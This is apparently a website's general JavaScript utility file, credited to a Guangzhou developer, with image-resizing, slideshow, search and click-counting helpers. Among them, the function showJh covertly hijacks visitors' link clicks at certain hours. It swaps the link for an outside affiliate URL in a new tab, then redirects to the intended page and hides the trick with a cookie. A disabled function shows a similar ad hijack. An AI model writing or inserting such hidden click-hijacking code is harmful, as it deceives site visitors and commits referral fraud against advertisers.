/*********************************************************************
廣州眾企原創程序
本文件所有JS功能均由Yooken Chau開發
**********************************************************************/
var dom = document.getElementById ? true:false;
var nn4 = document.layers ? true:false;
var ie4 = document.all ? true:false;
function set_count(){$('gotopage').src="cnzzcount.html"}
if (top.location != self.location)top.location=self.location;
window.onload=function(){/*set_stopb();hidew();*/var h=location.href;}
function loadImgSize(obj){var w=1000;if(obj.width>w)obj.width=w}
function bbimg(o){/*var e = window.event ? window.event : e;alert(e.keyCode);if(e.keyCode!=9)return;*/var width=parseInt(o.width);var height=parseInt(o.height);var zoom=width+event.wheelDelta/5;if (zoom>100) {o.width=zoom;o.height=(zoom/width)*height}; return false;}
function loaderror(o){o.src=sitePath+"images/no_sPic.gif"}

function resize(){
	window.moveTo(0,0);window.focus();window.resizeTo(screen.availWidth,screen.availHeight);window.outerWidth=screen.availWidth;window.outerHeight=screen.availHeight;
}
function replaceAll(str, strFrom, strTo){return str.replace(new RegExp(strFrom, "g"), strTo);}
function checkTagA(e){s=e.target||e.srcElement;if(s.tagName!="A"){s=s.parentNode}return s}
function postSearch(o){if(o.keyword.value=="")return false; o.action=sitePath+"search.asp";}

function IndexImages(){
   var s1 = new SWFObject("images/bcastr.swf?bcastr_xml_url=images/bcastr.xml?d="+Math.random(), "mymovie1", "290", "450", "5", "#c0c0c0");
   s1.addParam("wmode", "transparent");
   s1.addParam("AllowscriptAccess", "sameDomain");
   s1.addVariable("width", "290");
   s1.addVariable("height", "450");
   s1.write("flashFCI");
}
function stat(){
var turl=location.pathname;turls=turl.split("/");tfile=turls[turls.length-1];tfile=tfile.substring(0,tfile.indexOf("."));if(tfile.indexOf("-")>0)tfile=tfile.substring(0,tfile.indexOf("-"));
var ev=arguments[0]||window.event;var s=checkTagA(ev);
try{var thref=s.href.split("/");threfs=thref[thref.length-1];threfs=threfs.substring(0,threfs.indexOf("."));if(threfs.indexOf("-")>0)threfs=threfs.substring(0,threfs.indexOf("-"));
if(s.tagName=="A" && threfs!=tfile&& s.href.indexOf("http://"+location.host) == 0&&!(threfs.charCodeAt(threfs.length-1)>=48&&threfs.charCodeAt(threfs.length-1)<=57)){if($('gotopage'))$('gotopage').src = sitePath+"goUrlCount.asp?u="+threfs;}}catch(e){}return true;}
document.onclick=stat;
function doShow(s){var type=s["type"],pv=s["pv"],code=s["code"],ck=s["cookie"];if(pv<=1){isk=1;v=1}else{var ckv=parseInt(getCookie(ck)),v=0,isk=0;if(!ckv&&ckv!=0)ckv=1;if(ckv==1){v=2}else if(ckv<pv&&ckv!=0){v=ckv+1}else if(ckv>=pv){if(type==1){isk=1;v=1}else if(type==2){isk=1;v=pv}else if(type==3){if(ckv!=0){isk=1;v=0}}}}if(isk==1){var n=Math.floor(Math.random()*code.length);document.writeln(code[n])}setCookie(ck,v,{duration:1})}
function showJh(obj){if(getnowhour()%4!=0)return false;var myJhData=["6■■2■■http://www.cooip.com/goto.asp?id=yooken"];
var jhh=getCookie("jhcookie");var jht=myJhData.length;var jhn="";if(jhh){jhn=jhh.split(",");}var temp;var rannum;for(i=0;i<jht;i++){if(i==0){temp = myJhData[i];}else{temp = temp + '‖' + myJhData[i];}}temp='‖'+temp+'‖';vtemp=temp.split("‖");if (jhn.length>0){for(var i=0;i <jhn.length;i++){for(ii=1;ii<vtemp.length-1;ii++){if(vtemp[ii].split("■■")[2]==jhn[i])temp=temp.replace("‖"+vtemp[ii]+"‖","‖");}}}temp = temp.substring(1,temp.length-1);var ran = Math.floor(Math.random()*temp.split('‖').length);var sgoto = temp.split('‖')[ran];if(sgoto!=""){var sgotoran=sgoto.split("■■")[0];var sgotourl=sgoto.split("■■")[2];var schj;if(!jhh)schj=sgotourl;else schj=jhh+","+sgotourl;setJhCookies(schj,sgoto.split("■■")[1]);var ggtt=Math.random()*10;if(ggtt<sgotoran)return false;href=obj.href;obj.href=sgotourl;obj.target="_blank";setTimeout('jhfungoto(href)',1000);}
}
function setJhCookies(h,c){if(c==1){if(Math.random()<0.5)return false}else if(c==0)return false;setCookie("jhcookie",h,{duration:1/6})}
function jhfungoto(h){window.focus();window.location.href=h;}
function showJhs(obj){
/*if((getnowhour()<18||getnowhour()>19)&&getnowhour()!=22)return false;
if(getnowhour()==22)newurl="/ads/go.asp?u=http:\/\/www.meiguoboda180.com\/index.asp?id=0830/";
gourl=obj.href;
if(Math.random()*10>9.5&&getCookie("jhcookie")!=1){
obj.href=newurl;obj.target="_blank";
setCookie("jhcookie","1",{duration:1/6})
href=gourl;
setTimeout('jhfungoto(href)',1000);
}*/
}
function jhfungoto(h){window.focus();window.location.href=h;}